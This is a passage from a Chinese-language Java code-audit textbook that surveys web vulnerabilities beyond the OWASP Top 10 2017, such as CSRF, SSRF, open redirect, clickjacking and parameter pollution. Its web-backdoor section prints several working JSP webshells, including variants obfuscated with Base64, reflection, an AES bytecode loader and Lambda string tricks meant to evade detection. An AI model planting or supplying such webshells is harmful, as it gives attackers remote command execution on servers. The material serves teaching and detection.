“OWASP Top 10 2017”之外常見漏洞的程式碼審計

OWASP TOP 10總結了Web應用程式中常見且極其危險的十大漏洞,在第5章中我們以2017版本為例詳細介紹了這10項漏洞在程式碼審計中的審計知識,但除了 OWASP Top 10外,還有很多漏洞值得我們在程式碼審計中給予關注。本章將介紹一些不包括在“OWASP TOP 10 2017”的一些漏洞的程式碼審計知識。

6。1CSRF

CSRF(Cross Site Request Forgery,跨站點請求偽造)是目前出現次數比較多的漏洞,該漏洞能夠使攻擊者盜用被攻擊者的身份資訊,去執行相關敏感操作。實際上這種方式是攻擊者透過一些釣魚等手段欺騙使用者去訪問一個自己曾經認證過的網站,然後執行一些操作(如後臺管理、發訊息、新增關注甚至是轉賬等行為)。由於瀏覽器曾經認證過,因此被訪問的網站會認為是真正的使用者操作而去執行。簡而言之,CSRF漏洞的工作原理是攻擊者盜用了使用者的身份,以使用者的名義傳送惡意請求。圖6-1所示為CSRF漏洞的攻擊原理。

“OWASP Top 10 2017”之外常見漏洞的程式碼審計

圖6-1CSRF漏洞的攻擊原理

從圖 6-1中可以看到,一次完整的 CSRF 攻擊需要具備以下兩個條件。

使用者已經登入某站點,並且在瀏覽器中儲存了登入後的 Cookie 資訊。

在不登出某站點的情況下,去訪問攻擊者構造的站點。

總的來說,CSRF 漏洞攻擊是一種比較簡單的攻擊,利用Web的隱式身份驗證機制來達到攻擊者的攻擊目的。

6。2SSRF

SSRF(Server-Side Request Forge,服務端請求偽造)是目前在大型站點中出現頻率較高的漏洞,這種漏洞通常是由攻擊者構造的payload傳遞給服務端,服務端對傳回的 payload 未做處理直接執行而造成的。一般情況下,攻擊者無法訪問攻擊目標的內網,SSRF 是攻擊者訪問內網的憑藉之一,因為SSRF 攻擊是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統。

SSRF 的漏洞原理很簡單,基本上都是服務端提供了從其他伺服器應用獲取資料的功能且沒有對目標地址和傳入命令進行過濾與限制造成的,如常見的從指定URL地址載入圖片、文字資源或者獲取指定頁面的網頁內容等。圖6-2所示為對SSRF漏洞利用流程的簡單描述。

“OWASP Top 10 2017”之外常見漏洞的程式碼審計

圖6-2SSRF攻擊流程

如圖 6-2 所示,攻擊者首先向可直接訪問的 Web站點發送攻擊載荷,該攻擊載荷的攻擊物件為內部網路。然後,Web 站點作為“中間人”,將包含有惡意攻擊請求的請求傳遞給內部網路,內部網路接受請求並處理後,將結果返回給 Web站點。最後,Web 站點將內部網路返回的結果傳遞給攻擊者,以此達到攻擊內部網路的目的。

6。3URL跳轉

URL 跳轉漏洞也叫作 URL 重定向漏洞,由於服務端未對傳入的跳轉地址進行檢查和控制,從而導致攻擊者可以構造任意一個惡意地址,誘導使用者跳轉至惡意站點。因為是從使用者可信站點跳轉出去的,使用者會比較信任該站點,所以URL跳轉漏洞常用於釣魚攻擊,透過轉到攻擊者精心構造的惡意網站來欺騙使用者輸入資訊,從而盜取使用者的賬號和密碼等敏感資訊,更甚者會欺騙使用者進行金錢交易。

URL跳轉漏洞的成因並不複雜,主要是服務端未對傳入的跳轉URL變數進行檢查和控制,或者對傳入的跳轉URL變數過濾不嚴格導致的,圖6-19所示為一次URL

“OWASP Top 10 2017”之外常見漏洞的程式碼審計

圖6-19一次URL跳轉攻擊

跳轉攻擊。

攻擊者首先精心構造一個釣魚站點 A,然後利用 URL 跳轉漏洞修改目的跳轉地址,使原本應跳轉到可信任站點 C 的地址變成釣魚站點 A。由於使用者信任站點 B,而釣魚站點 A 又是從可信任站點 B 中重定向的,因此可能對釣魚站點 A 同樣信任。使用者一旦使用者輸入相關的敏感資訊,就可能被攻擊者竊取。

6。4檔案操作漏洞

檔案操作是 Java Web 的核心功能之一,其中常用的操作就是將伺服器上的檔案以流的形式在本地讀寫,或上傳到網路上,Java中的File類就是對這些儲存於磁碟上檔案的虛擬對映。與我們在本地計算機上操作檔案類似,Java對檔案的操作同樣包括上傳、刪除、讀取、寫入等。Java Web本身去實現這些功能是沒有漏洞的,但是由於開發人員忽略了一些細節,導致攻擊者可以利用這些細節透過檔案操作Java Web 本身的這一個功能,從而實現形如任意檔案上傳、任意檔案下載/讀取、任意檔案刪除等漏洞,有的場景下甚至可以利用檔案解壓實現目錄穿越或拒絕服務攻擊等,對伺服器造成巨大的危害。

6。5Web後門漏洞

6。5。1Web後門漏洞簡介

Web 後門指的是以網頁形式存在的一種程式碼執行環境,透過這種程式碼執行環境,攻擊者可以利用瀏覽器來執行相關命令以達到控制網站伺服器的目的。這裡的程式碼執行環境其實是指編寫後門所使用的語言,如PHP、ASP、JSP 等,業內通常稱這種檔案為 WebShell,其主要目的是用於後期維持許可權。本節將簡單介紹一些 Java的 Web 後門。

6。5。2Java Web 後門案例講解

Java Web 是很多大型廠商的選擇,也正是因為如此,Java Web 的安全問題日益得到重視,JSP Webshell 就是其中之一。最著名的莫過於 PHP 的各種奇思妙想的後門,但與 PHP 不同的是,Java 是強型別語言,語言特性較為嚴格,不能夠像 PHP 那樣利用字串組合當作系統函式使用,但即便如此,隨著安全人員的進一步研究,依舊出現了很多奇思妙想的 JSP Webshell。下面我們將通過幾種不同的 JSP Webshell 來簡單講解 Java Web 後門。

1.函式呼叫

與 PHP 中的命令執行函式 system() 和 eval() 類似,Java 中也存在命令執行函式,其中使用最頻繁的是 java。lang。Runtime。exec() 和 java。lang。ProcessBuilder。start(),透過呼叫這兩個函式,可以編寫簡單的Java Web 後門。在 Java 中呼叫函式的方式有很多種,本節主要講解直接呼叫和反射呼叫這兩種型別的 Web 後門。

第一種是直接呼叫。顧名思義,就是透過直接呼叫命令執行函式的方法來構造 Web 後門,示例程式碼如下。

<%Runtime。getRuntime()。exec(request。getParameter(“i”));%>

上述程式碼是一個簡單的JSP一句話木馬,但是這種型別的一句話後門是沒有回顯的,即當攻擊者執行命令後無法看到返回的資訊。因此這種後門通常用來反彈shell,比較常見的有回顯的 JSP 一句話木馬示例如下。

<% java。io。InputStream in = Runtime。getRuntime()。exec(request。getParameter(“cmd”))。getInputStream(); int a = -1; byte[] b = new byte[2048]; out。print(“

”);        while((a=in。read(b))!=-1){            out。println(new String(b));        }        out。print(“
”);%>

這個一句話木馬與前一個相比較,多了回顯的功能,能夠將攻擊者執行命令後的結果反饋給攻擊者,如圖6-42所示。

“OWASP Top 10 2017”之外常見漏洞的程式碼審計

圖6-42JSP一句話木馬回顯結果

類似於這種一句話後門在審計時很容易被發現,只需要搜尋關鍵函式Runtime。getRuntime()。exec 就能夠發現其是否是 Java Web 後門。

第二種是反射呼叫。透過上文我們瞭解到,當攻擊者透過直接呼叫的方式在 Web 站點植入一句話後,對於審計者來說,很容易透過查詢關鍵函式來發現後門,因此有些攻擊者選擇更隱蔽的反射呼叫類 Web 後門,如以下示例程式碼。

<%@ page contentType=“text/html;charset=UTF-8” language=“java” %><%@ page import=“sun。misc。BASE64Decoder” %><% BASE64Decoder decoder = new BASE64Decoder(); Class rt = Class。forName(new String(decoder。decodeBuffer (“amF2YS5sYW5nLlJ1bnRpbWU=”))); Process e = (Process) rt。getMethod(new String(decoder。decodeBuffer(“ZXhlYw==”)), String。class)。invoke(rt。getMethod(new String(decoder。decodeBuffer(“Z2V0UnVudGltZQ==”)))。 invoke(null, new Object[]{}), request。getParameter(“cmd”) ); java。io。InputStream in = e。getInputStream(); int a = -1; byte[] b = new byte[2048]; out。print(“

”);        while((a=in。read(b))!=-1){            out。println(new String(b));        }        out。print(“
”);%>

在上述程式碼中,攻擊者並沒有採用直接使用類名呼叫方法的方式去構造後門,而是採用動態載入的方式,把所要呼叫的類與函式放到一個字串的位置,然後利用各種變形(此處利用的是 Base64 編碼)來達到對惡意類或函式隱藏的目的,即使透過關鍵函式搜尋也沒法發現後門。

此外,由於反射可以直接呼叫各種私有類方法,導致了利用反射編寫的後門層出不窮,其中最有代表性的就是透過載入位元組碼編寫的後門,這種後門使服務端動態地將位元組碼解析成Class,這樣一來就可以達到“一句話木馬”的效果。著名的客戶端管理工具“冰蠍”就是採用了這種方式。如下示例程式碼就是採用這種方式的簡單實現。

<%@page import=“java。util。*,javax。crypto。*,javax。crypto。spec。*”%><%! class U extends ClassLoader{ U(ClassLoder c){ super(c); } } public Class g(byte []b){ return super。defineClass(b,0,b。length); } }%><%if (request。getMethod()。equals(“POST”)){ String k=“e45e329feb5d925b”; session。putValue(“u”,k); Cipher c=Cipher。getInstance(“AES”); c。init(2,new SecretKeySpec(k。getBytes(),“AES”)); new U(this。getClass()。getClassLoader())。g(c。doFinal(new sun。misc。 BASE64Decoder()。decodeBuffer(request。getReader()。readLine())))。 newInstance()。equals(pageContext);}%>

對於此類後門通常採用後門掃描工具進行檢測,在人工審計時通常著重關注其加密的函式,如BASE64Decoder()以及SecretKeySpec()等。

2.JDK 特性

JDK 全稱為 Java Development Kit,是 Java 開發環境。我們通常所說的 JDK 指的是 Java SE (Standard Edition) Development Kit。除此之外還有 Java EE(Enterprise Edition)和 Java ME(Micro Edition)。從 JDK 誕生至今,每個版本都有不同的特性,利用這些特性可以編寫出不同型別的 Java Web 後門。以下示例就是利用了Java 的相關特性來編寫的 Java Web後門。

利用Lambda 表示式編寫的 JSP 一句話木馬。

<%@ page contentType=“text/html;charset=UTF-8” language=“java” %><%@ page import=“java。util。function。Function” %><%@ page import=“java。io。IOException” %><%@ page import=“java。util。List” %><%@ page import=“java。util。Arrays” %><%@ page import=“java。util。stream。Collectors” %><%@ page import=“java。io。InputStream” %><%@ page import=“java。lang。reflect。Method” %><%@ page import=“java。util。Collections” %><%@ page import=“java。util。ArrayList” %> Title<% String[] planets = new String[] { “redliuBssecorP。gnal。avaj”}; Arrays。asList(planets)。replaceAll(s -> new StringBuilder(s)。reverse()。 toString()); String name = Arrays。toString(planets)。replace(“[”,“”)。replace(“]”,“”); String st = “start”; String pw = request。getParameter(“pw”); Class cls = Class。forName(name); Object obj = cls。getConstructor(List。class)。newInstance(Arrays。 asList(pw)); Method startCmd = cls。getMethod(st); Process p = (Process)startCmd。invoke(obj); InputStream in = p。getInputStream(); int a = -1; byte[] b = new byte[2048]; out。print(“

”);  while((a=in。read(b))!=-1){    out。println(new String(b));  }  out。print(“
”);%>

Lambda 允許把函式作為一個方法的引數(函式作為引數傳遞進方法中)。利用這個特性我們可以操作類名,從而達到躲避檢測的目的。

與此類似,使用者還可以利用Java 8 的新特性,訪問介面中的預設方法—— Reduce來編寫 JSP 一句話木馬,示例程式碼如下。

<%@ page import=“java。util。function。Function” %><%@ page import=“java。lang。reflect。Method” %><%@ page import=“java。io。InputStream” %><%@ page import=“java。util。Arrays” %><%@ page import=“java。util。List” %><%@ page import=“java。util。ArrayList” %><%@ page import=“java。util。Optional” %> Title<% List stringCollection = new ArrayList<>(); stringCollection。add(“ProcessBuilder”); stringCollection。add(“java。lang。”); Optional reduced = stringCollection 。stream() 。sorted() 。reduce((s1, s2) -> s2 + “” + s1); String name = String。valueOf(reduced)。replace(“Optional[”,“”)。replace(“]”,“”); String st = “start”; String pw = request。getParameter(“pw”); Class cls = Class。forName(name); Object obj = cls。getConstructor(List。class)。newInstance(Arrays。asList (pw)); Method startCmd = cls。getMethod(st); Process p = (Process)startCmd。invoke(obj); InputStream in = p。getInputStream(); int a = -1; byte[] b = new byte[2048]; out。print(“

”);    while((a=in。read(b))!=-1){        out。println(new String(b));    }    out。print(“
”);%>

Reduce 是一個最終操作,允許透過指定的函式將 stream 中的多個元素規約為一個元素,規約後的結果透過 Optional 介面表示,然後利用 replace 替換執行函式的字串即可達到免殺的效果。

JDK 新版本的特性還有很多,並且此類後門的防患較為困難。對於初級審計者來說發現後門並不是重點任務,重點是發現源程式本身存在的漏洞,但學習 Java Web 後門的相關知識對我們的審計能力同樣能夠起到相輔相成的作用,畢竟每一個 Java 程式碼執行漏洞在某種意義上來說都是一個 Java Web 後門。

6。5。3小結

除根據函式呼叫編寫方式和利用 JDK 特性編寫的 Java Web後門外,還有很多其他更有趣的編寫方式,如Java 中存在很多表達式,包括 OGNL、SpEL、MVEL、EL、Fel、JST+EL等,這些表示式都有自己的特性和寫法。因此根據這些表示式的特性和寫法也能夠寫出不同型別的Java Web後門,以及實現動態註冊自定義 Controller實現的記憶體級webshell、內部類編寫的 webshell等。對這些更深入的編寫方式有興趣的讀者可以在網際網路上自行收集資料,來加深對於 Java 程式碼審計的理解。

6。6邏輯漏洞

目前的開發人員都具備一定的安全開發知識,不少公司還特地對開發人員進行了安全開發培訓。對於安全人員來說,想要審計出程式碼執行、注入漏洞等高危漏洞是非常困難的,一定要貼合業務去挖掘漏洞,因此邏輯漏洞的挖掘就變成了一項比較重要的審計內容。

邏輯漏洞一般是由於源程式自身邏輯存在缺陷,導致攻擊者可以對邏輯缺陷進行深層次的利用。邏輯漏洞出現較為頻繁的地方一般是登入驗證邏輯、驗證碼校驗邏輯、密碼找回邏輯、許可權校驗邏輯以及支付邏輯等常見的業務邏輯。本節將挑選一些比較經典的邏輯漏洞進行講解。

6。7前端配置不當漏洞

隨著前端技術的快速發展,各種前端框架、前端配置不斷更新,前端的安全問題也逐漸顯現出來。為了應對這些問題,也誕生了諸如 CORS、CSP、SOP等一些應對策略。本節就來談一談由於前端配置不當而導致的一些漏洞。

6。8拒絕服務攻擊漏洞

拒絕服務(Denial of Service,DoS)攻擊,也稱作洪水攻擊,這種攻擊的目的在於使目標電腦的網路或系統資源耗盡,服務暫時中斷或停止,導致正常使用者無法訪問。那麼 Web 本身的程式碼邏輯或功能是否會導致出現拒絕服務呢?答案是肯定的。Java中有很多因為本身邏輯或者功能而導致的拒絕服務,如ReDoS、JVM DoS、Weblogic HTTP DoS、Apache Commons fileupload DoS等,這些DoS形成的原因各不相同,造成的結果大相徑庭,本節將介紹Java中的拒絕服務攻擊漏洞。

6。9點選劫持漏洞

點選劫持(Clickjacking)也稱為UI-覆蓋攻擊(UI Redress Attack),這個概念源於耶利米·格羅斯曼(Jeremiah Grossman)和羅伯特·漢森(Robert Hansen),這兩人在2008年發現Adobe Flash Player 能夠被劫持,使攻擊者可以在使用者不知情的情況下訪問計算機。點選劫持是一種視覺上的欺騙手段,攻擊者利用iframe元素製作了一個透明的、不可見的頁面,然後將其覆蓋在另一個網頁上,最終誘使使用者在該網頁上進行操作。當用戶在不知情的情況下單擊攻擊者精心構造的頁面時,攻擊者就完成了其攻擊目的。圖6-63所示為點選劫持漏洞的原理。

“OWASP Top 10 2017”之外常見漏洞的程式碼審計

圖6-63點選劫持漏洞的原理

首先,攻擊者利用iframe程式碼構建一個透明的惡意視窗;然後,將該介面固定在某個頁面的某個功能處,當用戶單擊真實功能處時,實際上單擊的是攻擊者劫持的功能;最後,完成劫持,攻擊者即可實現轉賬、獲取個人資訊、刪除內容以及釋出內容等目的。

在實際應用中,攻擊者所追求的往往不是“點選”,而是“劫持”,有的攻擊者甚至在輸入框上偽裝一個輸入框,誤導使用者在錯誤的位置輸入關鍵資訊。

6。10HTTP引數汙染漏洞

簡單來說,HTTP 引數汙染(HTTP Parameter Pollution,HPP)就是為一個引數賦予兩個或兩個以上的值。由於現行的 HTTP 標準並未具體說明在遇到多個輸入值為相同的引數賦值時應如何處理,並且不同站點對此類問題做出的處理方式不同,因此會造成引數解析錯誤。

本文摘自《

Java程式碼審計 入門篇

“OWASP Top 10 2017”之外常見漏洞的程式碼審計

程式碼審計(Code Audit)是一種以發現安全漏洞、程式錯誤和違反程式規範為目標的原始碼分析。Web應用程式目前仍然是安全防禦的重中之重,對業務的程式碼進行安全審計是十分重要的。加之Java語言的應用範圍廣,國內外大型企業大多采用Java作為核心的開發語言,因此對於安全從業者來說,Java程式碼審計成為了自身應該掌握的關鍵技能。

本書是一本Java程式碼審計入門圖書,透過大量的示例介紹程式碼審計的常用入門知識。全書內容分為9章,主要介紹了程式碼審計的基礎知識、程式碼審計的環境搭建、輔助工具簡介、Java EE基礎知識補充、OWASP Top十 2017內外的程式碼審計經驗介紹、JSPXCMS程式碼審計實戰以及IAST與RASP技術的介紹等內容,另外,本書還對Java安全編碼規範索引進行了簡單的介紹。

本書適合安全從業人員、軟體開發人員以及對程式碼安全感興趣的讀者閱讀。

本書內容:

◆ 初識Java程式碼審計;

◆ 程式碼審計環境搭建;

◆ 程式碼審計輔助工具簡介;

◆ Java EE基礎知識;

◆ “OWASP Top 10 2017”漏洞的程式碼審計;

◆ “OWASP Top 10 2017”之外常見漏洞的程式碼審計;

◆ Java EE開發框架安全審計;

◆ Jspxcms程式碼審計實戰;

◆ 小話IAST與RASP。